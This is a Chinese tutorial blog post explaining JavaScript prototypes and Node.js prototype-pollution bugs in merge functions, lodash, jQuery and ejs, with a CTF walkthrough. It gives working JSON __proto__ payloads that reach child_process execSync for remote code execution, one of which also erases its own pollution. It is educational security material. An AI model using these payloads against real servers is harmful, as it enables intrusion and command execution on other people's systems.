当前位置: 首页 > news >正文

浅谈 Nodejs原型链污染

一直在做php的题目,对其它语言做的很少。刚好在西湖论剑2022复现时,遇到了一道原型链污染的题目,借此机会开始简单学习一下 Nodejs的洞

p🐂讲解的十分清楚,因此下面举例子就直接用p🐂的例子进行解释了

目录

<1> Node.js基础

(1) 类与构造函数(constructor)

(2) 同步和异步

(3) fs模块

(4) child_process模块

<2> 什么是原型链

(1) prototype

(2) __proto__

(3) 原型链的继承思想

<3> 原型链污染

(1) 简单介绍

 (2) merge操作导致原型链污染

 (3) ejs污染

(4) lodash污染

(5) JQuery污染

Code-Breaking 2018 Thejs

Xnuca2019 Hardjs


<1> Node.js基础

简单的说 Node.js 就是运行在服务端的 JavaScript。
Node.js 是一个基于Chrome JavaScript 运行时建立的一个平台。
Node.js是一个事件驱动I/O服务端JavaScript环境,基于Google的V8引擎,V8引擎执行Javascript的速度非常快,性能非常好。

这里就只介绍一下后续CTF题会涉及到的一些 node.js的基础

node.js 允许用户从NPM服务器下载别人编写的第三方包到本地使用

这就像python 一样pip下载包以后,通过import引入,而node.js是通过require引入的

(1) 类与构造函数(constructor)

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义: 

 一个类必然有一些方法,类似属性this.bar,我们也可以将方法定义在构造函数内部: 

function Foo() {this.bar = 1this.show = function() {console.log(this.bar)}
}(new Foo()).show()

如上段代码:Foo函数的内容,就是Foo类的构造函数,而this.bar就是Foo类的一个属性。 

 这段代码功能就是 定义一个Foo类,调用Foo类的show方法,会输出它的 bar 属性

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了

后面会提到

(2) 同步和异步

Node.js 文件系统(fs 模块)模块中的方法均有异步和同步版本,例如读取文件内容的函数有异步的 fs.readFile() 和同步的 fs.readFileSync()。
异步的方法函数最后一个参数为回调函数,回调函数的第一个参数包含了错误信息(error)。

解释一下同步和异步,就像我们常说的一心二用一样,异步就是我们的一心二用,一边吃饭,一边看电视,而同步就是,吃完饭再看电视。
简单的说就是:
当你先读取文件输出后输出一段话的时候
同步:先输出文件内容,再输出一段话
异步:先输出一段话,后输出文件内容

(3) fs模块

node.js的文件操作模块,我们本地建立一个sd.txt

它的同步函数:readFileSync,异步函数:readFile

var fs = require("fs");// 异步读取
fs.readFile('sd.txt', function (err, data) {if (err) {return console.error(err);}console.log("异步读取: " + data.toString());
});// 同步读取
var data = fs.readFileSync('sd.txt');
console.log("同步读取: " + data.toString());console.log("程序执行完毕。");

同步读取: abcdefg
程序执行完毕。
异步读取: abcdefg

(4) child_process模块

child_process提供了几种创建子进程的方式

异步方式:spawn、exec、execFile、fork
同步方式:spawnSync、execSync、execFileSync
经过上面的同步和异步思想的理解,创建子进程的同步异步方式应该不难理解。
在异步创建进程时,spawn是基础,其他的fork、exec、execFile都是基于spawn来生成的。
同步创建进程可以使用child_process.spawnSync()、child_process.execSync() 和 child_process.execFileSync() ,同步的方法会阻塞 Node.js 事件循环、暂停任何其他代码的执行,直到子进程退出。

其中的一些函数,在一些情况下,可以导致命令执行漏洞,后面写题时候会用到

其中,JavaScript的继承关系并非像Java一样,有父类子类之分,而是通过一条原型链来进行继承的

<2> 什么是原型链

(1) prototype

在JavaScript中,prototype对象是实现面向对象的一个重要机制。

它是函数所独有的,它是从一个函数指向一个对象

它的含义是函数的原型对象,也就是构造函数(constructor)所创建的实例的原型对象

个人觉得,它就相当于是类的一个实例的模板, 原型的对象。生成的对象都会参照这个原型对象

生成实例化对象时,如果自己没有的属性prototype有,就会继承此属性,有的话则不会覆盖。

例如看下面这段js代码:

function Foo() {this.bar = 1
}Foo.prototype.show = function show() {console.log(this.bar)
}let foo = new Foo()
foo.show()

可一看到,我们可以通过prototype属性,指向到这个函数的原型对象中然后创建一个show()函数,功能为输出 this.bar

我们可以认为原型 prototype是类Foo的一个属性,而所有用Foo类实例化的对象,都将拥有这个属性中的所有内容,

包括变量和方法。比如上图中的foo对象,其天生就具有foo.show()方法。

(2) __proto__

 如上面所说,我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。

这时候,就该__proto__登场了

不同于prototype是函数特有的,它是对象所独有的proto属性都是由一个对象指向一个对象

即指向它们的原型对象(也可以理解为父对象)

一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:

foo.__proto__ === Foo.prototype (True)

即:

prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法。

一个对象的__proto__属性,指向这个对象所在的类的prototype属性

(3) 原型链的继承思想

function Father() {this.first_name = 'Donald'this.last_name = 'Trump'
}function Son() {this.first_name = 'Melania'
}Son.prototype = new Father()let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
console.log(son.__proto__)
console.log(son.__proto__.__proto__)
console.log(son.__proto__.__proto__.__proto__)

 Son类继承了Father类的last_name属性,最后输出的是Name: Melania Trump

 总结一下,对于对象son,在console.log() 调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.__proto__中寻找last_name
  3. 如果仍然找不到,则继续在son.__proto__.__proto__中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype__proto__就是null

类似于Java里面继承的思想,如果子类没有这个属性, 往上继承父类. 有的话就自己用自己的 多态

 JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的__proto__属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

<3> 原型链污染

(1) 简单介绍

  • 在javascript,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:
objectname["__proto__"]
objectname.__proto__
objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):
var o = {a: 1};
// o对象直接继承了Object.prototype
// 原型链:
// o ---> Object.prototype ---> nullvar a = ["aa", "lisi", "?"];
// 数组都继承于 Array.prototype
// 原型链:
// a ---> Array.prototype ---> Object.prototype ---> nullfunction f(){return 2;
}
// 函数都继承于 Function.prototype
// 原型链:
// f ---> Function.prototype ---> Object.prototype ---> null

 先来看一个简单的示例:

// foo是一个简单的JavaScript对象
let foo = {bar: 1}// foo.bar 此时为1
console.log(foo.bar)// 修改foo的原型(即Object)foo.__proto__.bar = 2// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)console.log(foo.__proto__)// 此时再用Object创建一个空的zoo对象
let zoo = {}// 查看zoo.bar
console.log(zoo.bar)

首先建立一个foo对象,有一个bar属性为1. 此时它的原型对象 并没有,后面通过 foo.__proto__指向了它的原型对象,也就等价于是 foo.prototype,即object。给 object 原型对象增加了bar属性,值为二 。 现在 object 有了(一个bar=2的prototype原型对象)。

后面我们再次 let zoo = {} ,zoo对象是空的

但是在我们输出zoo.bar的时候,node.js的引擎就开始在zoo中查找,发现没有,去zoo.proto中查找,即在Object中查找,而,我们的foo.prototype.bar = 2,就是给Object添加了一个bar属性,而这个属性则被zoo继承。


这种修改了一个某个对象的原型对象,从而控制别的对象的操作,就是原型链污染

 (2) merge操作导致原型链污染

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

merge操作是最常见可能控制键名的操作,也最能被原型链攻击 

以对象merge为例,我们想象一个简单的merge函数:

function merge(target, source) {for (let key in source) {if (key in source && key in target) {merge(target[key], source[key])} else {target[key] = source[key]}}
}

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__(json格式才可以被当成key),是不是就可以原型链污染呢?

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)object3 = {}
console.log(object3.b)
// 1 2
// 2

需要注意的点是:

在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。

 

 (3) ejs污染

参考:Express+lodash+ejs: 从原型链污染到RCE - evi0s' Blog

if (!this.source) {this.generateSource();prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';if (opts.outputFunctionName) {prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';}if (opts._with !== false) {prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';appended += '  }' + '\n';}appended += '  return __output.join("");' + '\n';this.source = prepended + this.source + appended;
}

 这里有一个代码注入的漏洞

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

至于恶意代码构造就非常简单了。在不考虑后果的情况下,我们可以直接构造如下代码:

a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

放到代码里面看就是 

prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
// After injection
prepended += ' var a; return global.process.mainModule.constructor._load("child_process").execSync("whoami"); // 后面的代码都被注释了'

这样看这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE

(4) lodash污染

CVE-2019-10744

lodash.defaultsDeep(obj,JSON.parse(objstr));

只需要有objstr

{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性

lodash 是一个非常流行的JavaScript工具库

const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'function check() {mergeFn({}, JSON.parse(payload));if (({})[`a0`] === true) {console.log(`Vulnerable to Prototype Pollution via ${payload}`);}}check();

运行上面的js语句,就可以检查这个版本的lodash是否存在这个漏洞。

其中漏洞关键触发点在defaultsDeep函数,它将({}, JSON.parse(payload))merge时,就可能导致原型链污染。使用JSON.parse就是保证合并时能以字典解析,而不是字符串

(5) JQuery污染

JQuery 是一个非常流行的Js前端工具库,而它也存在原型链污染漏洞,CVE:CVE-2019-11358 版本小于3.4.0时

可以看到

$.extend(true,{},JSON.parse('{"__proto__":{"aa":"hello"}}'))

Jquery可以用$.extend将两个字典merge,而这也因此污染了原型链。

Code-Breaking 2018 Thejs

源码:https://www.leavesongs.com/media/attachment/2018/11/23/thejs.tar.gz

URL: code-breaking/2018/thejs at master · phith0n/code-breaking · GitHub

 看一下主要的代码:server.js

const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({name: 'thejs.session',secret: randomize('aA0', 16),resave: false,saveUninitialized: false
}))app.engine('ejs', function (filePath, options, callback) { // define the template enginefs.readFile(filePath, (err, content) => {if (err) return callback(new Error(err))let compiled = lodash.template(content)let rendered = compiled({...options})return callback(null, rendered)})
})
app.set('views', './views')
app.set('view engine', 'ejs')app.all('/', (req, res) => {// 定义sessionlet data = req.session.data || {language: [], category: []}if (req.method == 'POST') {// 获取post数据并合并data = lodash.merge(data, req.body)req.session.data = data// 再将data赋值给session}res.render('index', {language: data.language, category: data.category})
})app.listen(3000, () => console.log('Example app listening on port 3000!'))

lodash是为了弥补JavaScript原生函数功能不足而提供的一个辅助功能集,其中包含字符串、数组、对象等操作。这个Web应用中,使用了lodash提供的两个工具:

  1. lodash.template 一个简单的模板引擎
  2. lodash.merge 函数或对象的合并

其实整个应用逻辑很简单,用户提交的信息,用merge方法合并到session里,多次提交,session里最终保存你提交的所有信息。

而这里的lodash.merge操作实际上就存在原型链污染漏洞。

在污染原型链后,我们相当于可以给Object对象插入任意属性,这个插入的属性反应在最后的lodash.template中。页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js:

// Use a sourceURL for easier debugging.
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
// ...
var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
});

options是一个对象,sourceURL取到了其options.sourceURL属性。这个属性原本是没有赋值的,默认取空字符串。

因为原型链污染,我们可以给所有Object对象中都插入一个sourceURL属性。那这个sourceURL是否可以被我们利用呢? 继续跟进

var result = attempt(function() {return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);});

最后,这个sourceURL被拼接进 Function函数 的第二个参数中,造成任意代码执行漏洞

 通过构造global.process.mainModule.constructor._load('child_process').exec('ls')// 就可以执行任意代码了

注:这里不能用require  因为:ReferenceError: require is not defined

p神给了一个更好的payload:

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

p🐂对payload里for循环的解释:

原型链污染攻击有个弊端,就是你一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。
这将导致一些正常的业务出现bug,或者就像这道题里一样,我的payload发出去,response里就有命令的执行结果了。这时候其他用户访问这个页面的时候就能看到这个结果,所以在CTF中就会泄露自己好不容易拿到的flag,所以需要一个for循环把Object对象里污染的原型删掉

Xnuca2019 Hardjs

Javascript 原型链污染 分析 | JrXnm' blog

相关文章:

Node.js 常见漏洞学习与总结 - 先知社区

深入理解 JavaScript Prototype 污染攻击 | 离别歌

相关文章:

浅谈 Nodejs原型链污染

一直在做php的题目&#xff0c;对其它语言做的很少。刚好在西湖论剑2022复现时&#xff0c;遇到了一道原型链污染的题目&#xff0c;借此机会开始简单学习一下 Nodejs的洞 p&#x1f402;讲解的十分清楚&#xff0c;因此下面举例子就直接用p&#x1f402;的例子进行解释了 目…...

Linux系统安装Docker

目录 Linux系统安装Docker 1、如果之前安装过旧版本的Docker&#xff0c;可以使用下面命令卸载 2、安装docker 3、启动docker 4、配置镜像加速 Linux系统安装Docker 前提&#xff1a;Docker CE 支持 64 位版本 CentOS 7&#xff0c;并且要求内核版本不低于 3.10&#xff0…...

MCP2515国产替代DP2515带有SPI 接口的独立CAN 控制器

DP2515是一款独立控制器局域网络&#xff08;Controller AreaNetwork&#xff0c; CAN&#xff09;协议控制器&#xff0c;完全支持CAN V2.0B 技术规范。该器件能发送和接收标准和扩展数据帧以及远程帧。DP2515自带的两个验收屏蔽寄存器和六个验收滤波寄存器可以过滤掉不想要的…...

【Kubernetes】第二十篇 - k8s 污点和容忍度

一&#xff0c;前言 上一篇&#xff0c;介绍了 k8s ConfigMap 管理服务环境变量&#xff1b; 本篇&#xff0c;介绍 k8s 污点和容忍度&#xff1b; 二&#xff0c;污点与容忍度介绍 通过污点和容忍度配置可以干预 Pod 部署到特定的节点&#xff1b; 比如&#xff1a; 不想让…...

60% 程序员大呼:我要远程办公!

近几年数字化的普及&#xff0c;白领们从挤地铁、打卡、开会、写日报转变成“早上9点视频会议”&#xff0c;企业的办公场所也从写字楼、会议室、工位变成了手机、电脑中的线上会议室&#xff0c;远程办公已经成为一种流行的办公形式。《财富》杂志发现&#xff0c;75%的员工表…...

jmeter+ant+jenkins接口自动化测试框架

大致思路&#xff1a;Jmeter可以做接口测试&#xff0c;也能做压力测试&#xff0c;而且是开源软件&#xff1b;Ant是基与java的构建工具&#xff0c;完成脚本执行并收集结果生成报告&#xff0c;可以跨平台&#xff0c;Jenkins是持续集成工具。将这三者结合起来可以搭建一套We…...

【protoc自定义插件】「go语言」实现rpc的服务映射成http的服务,protoc生成gin的插件,(详解实现原理及过程)

文章目录前言一、工程实践中如何更好的使用proto文件&#xff1f;二、protoc命令如何查询依赖的proto文件以及执行原理1. protoc命令如何查询依赖的proto文件2. protoc执行的插件加载原理是什么&#xff1f;3. proto文件中的package和go_package的作用三、protoc插件开发原理体…...

【C语言】3天速刷C语言(语句、函数)

语句分支语句if语句if语句语法结构语法结构&#xff1a; if(表达式)语句; if(表达式)语句1; else语句2; //多分支 if(表达式1)语句1; else if(表达式2)语句2; else语句3;表达式如果成立&#xff0c;则执行&#xff0c;不成立则弹出。switch语句语法结构&#xff1a;switch(…...

Linux系统中指针的详细分析与操作

文章目录 一、指针 二、指针的初始化 三、指针的运算 四、指针与数组 五、指针与字符串 六、函数指针 七、NULL 指针 八、对复杂指针的解释 C 语言指针真正精髓的地方在于指针可以进行加减法&#xff0c;这一点极大的提升了程序的对指针使用的灵活性&#xff0c;同时也…...

工程(十一)——NUC11+D435i+VINS-FUSION+ESDF建图(github代码)

博主的合并代码gitgithub.com:huashu996/VINS-FUSION-ESDFmap.git一、D435i深度相机配置1.1 SDKROS参考我之前的博客&#xff0c;步骤和所遇见的问题已经写的很详细了https://blog.csdn.net/HUASHUDEYANJING/article/details/129323834?spm1001.2014.3001.55011.2 相机标定参数…...

第十四届蓝桥杯三月真题刷题训练——第 4 天

目录 题目 1 &#xff1a;九数算式_dfs回溯(全排列) 题目描述 运行限制 代码&#xff1a; 题目2&#xff1a;完全平方数 问题描述 输入格式 输出格式 样例输入 1 样例输出 1 样例输入 2 样例输出 2 评测用例规模与约定 运行限制 代码&#xff1a; 题目 1 &am…...

Hadoop 运行环境搭建(开发重点)

文章目录Hadoop 运行环境搭建&#xff08;开发重点&#xff09;一、安装JDK二、安装配置 Hadoop1、安装 hadoop2、hadoop 目录结构3、设置免密登录4、完全分布式模式&#xff08;开发重点&#xff09;1&#xff09;分发jdk2&#xff09;集群配置(1) 集群部署规划(2) 配置文件说…...

在社交媒体上行之有效的个人IP趋势

如果您认为无论是获得一份工作、建立一家企业还是推动个人职业发展&#xff0c;社交媒体都是帮助您实现目标的可靠工具&#xff0c;那么个人IP就是推动这一工具前进的燃料。个人IP反映了您是谁&#xff0c;您在所处领域的专业程度&#xff0c;以及您与他人的区别。社交媒体将有…...

Java网络编程

网络编程 什么是网络编程&#xff1f; 可以让设备中的程序与网络上其他设备中的程序进行数据交互&#xff08;实现网络通信&#xff09; Java.net. 包下提供了网络编程的解决方案* 基本的通信架构 基本的通信架构有两种方式&#xff1a;CS架构&#xff08;Client客户端/Se…...

PTA:L1-001 Hello World、L1-002 打印沙漏、L1-003 个位数统计(C++)

目录 L1-001 Hello World 问题描述&#xff1a; 实现代码&#xff1a; L1-002 打印沙漏 问题描述&#xff1a; 实现代码&#xff1a; 原理思路&#xff1a; L1-003 个位数统计 题目描述&#xff1a; 实现代码&#xff1a; 原理思路&#xff1a; 过于简单的就不再写题…...

构造HTTP请求

使用formform使用如下:<body><!-- 表单标签,允许用户和服务器之间交互数据 --><form action"https://www.sogou.com" method"get"><!-- 要求提交的数据以键值对的结构来组织 --><input type"text" name"stduent…...

转速/线速度/角速度计算FC

工业应用中很多设备控制离不开转速、线速度的计算,这篇博客给大家汇总整理。张力控制的开环闭环方法中也离不开转速和线速度的计算,详细内容请参看下面的文章链接: PLC张力控制(开环闭环算法分析)_plc的收卷张力控制系统_RXXW_Dor的博客-CSDN博客里工业控制张力控制无处不…...

学习笔记:Java并发编程(补)ThreadLocal

【尚硅谷】学习视频&#xff1a;https://www.bilibili.com/video/BV1ar4y1x727【黑马程序员】学习视频&#xff1a;https://www.bilibili.com/video/BV15b4y117RJ 参考书籍 《实战 JAVA 高并发程序设计》 葛一鸣 著《深入理解 JAVA 虚拟机 | JVM 高级特性与最佳实践》 周志明 著…...

HashMap底层实现原理及面试题

文章目录1. 常见的数据结构有三种结构1.1 各自数据结构的特点2. HashMap2.1 概述2.2 底层结构2.2.1 HashMa实现原理&#xff1a;2.2.1.1 map.put(k,v)实现原理2.2.1.2 map.get(k)实现原理2.2.1.3 resize源码2.2.2 HashMap常用的变量2.2.3 HashMap构造函数2.3 JDK1.8之前存在的问…...

【STM32】进阶(二):DMA+ADC实现模拟量检测

1、简述 DMA&#xff1a;Direct Memory Access&#xff0c;直接内存访问 ADC&#xff1a;Analog to Digital Converter&#xff0c;模数转换器&#xff0c;模拟信号转换成数字信号的电路&#xff08;采样-量化-编码&#xff09; 参考博客&#xff1a; STM32DMA功能详解 STM32…...

Chapter03-Authentication vulnerabilities

文章目录 1. 身份验证简介1.1 What is authentication1.2 difference between authentication and authorization1.3 身份验证机制失效的原因1.4 身份验证机制失效的影响 2. 基于登录功能的漏洞2.1 密码爆破2.2 用户名枚举2.3 有缺陷的暴力破解防护2.3.1 如果用户登录尝试失败次…...

Leetcode 3576. Transform Array to All Equal Elements

Leetcode 3576. Transform Array to All Equal Elements 1. 解题思路2. 代码实现 题目链接&#xff1a;3576. Transform Array to All Equal Elements 1. 解题思路 这一题思路上就是分别考察一下是否能将其转化为全1或者全-1数组即可。 至于每一种情况是否可以达到&#xf…...

8k长序列建模,蛋白质语言模型Prot42仅利用目标蛋白序列即可生成高亲和力结合剂

蛋白质结合剂&#xff08;如抗体、抑制肽&#xff09;在疾病诊断、成像分析及靶向药物递送等关键场景中发挥着不可替代的作用。传统上&#xff0c;高特异性蛋白质结合剂的开发高度依赖噬菌体展示、定向进化等实验技术&#xff0c;但这类方法普遍面临资源消耗巨大、研发周期冗长…...

uniapp微信小程序视频实时流+pc端预览方案

方案类型技术实现是否免费优点缺点适用场景延迟范围开发复杂度​WebSocket图片帧​定时拍照Base64传输✅ 完全免费无需服务器 纯前端实现高延迟高流量 帧率极低个人demo测试 超低频监控500ms-2s⭐⭐​RTMP推流​TRTC/即构SDK推流❌ 付费方案 &#xff08;部分有免费额度&#x…...

Matlab | matlab常用命令总结

常用命令 一、 基础操作与环境二、 矩阵与数组操作(核心)三、 绘图与可视化四、 编程与控制流五、 符号计算 (Symbolic Math Toolbox)六、 文件与数据 I/O七、 常用函数类别重要提示这是一份 MATLAB 常用命令和功能的总结,涵盖了基础操作、矩阵运算、绘图、编程和文件处理等…...

现有的 Redis 分布式锁库(如 Redisson)提供了哪些便利?

现有的 Redis 分布式锁库&#xff08;如 Redisson&#xff09;相比于开发者自己基于 Redis 命令&#xff08;如 SETNX, EXPIRE, DEL&#xff09;手动实现分布式锁&#xff0c;提供了巨大的便利性和健壮性。主要体现在以下几个方面&#xff1a; 原子性保证 (Atomicity)&#xff…...

如何更改默认 Crontab 编辑器 ?

在 Linux 领域中&#xff0c;crontab 是您可能经常遇到的一个术语。这个实用程序在类 unix 操作系统上可用&#xff0c;用于调度在预定义时间和间隔自动执行的任务。这对管理员和高级用户非常有益&#xff0c;允许他们自动执行各种系统任务。 编辑 Crontab 文件通常使用文本编…...

RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill

视觉语言模型&#xff08;Vision-Language Models, VLMs&#xff09;&#xff0c;为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展&#xff0c;机器人仍难以胜任复杂的长时程任务&#xff08;如家具装配&#xff09;&#xff0c;主要受限于人…...

PostgreSQL——环境搭建

一、Linux # 安装 PostgreSQL 15 仓库 sudo dnf install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-$(rpm -E %{rhel})-x86_64/pgdg-redhat-repo-latest.noarch.rpm# 安装之前先确认是否已经存在PostgreSQL rpm -qa | grep postgres# 如果存在&#xff0…...

对象回调初步研究

_OBJECT_TYPE结构分析 在介绍什么是对象回调前&#xff0c;首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例&#xff0c;用_OBJECT_TYPE这个结构来解析它&#xff0c;0x80处就是今天要介绍的回调链表&#xff0c;但是先不着急&#xff0c;先把目光…...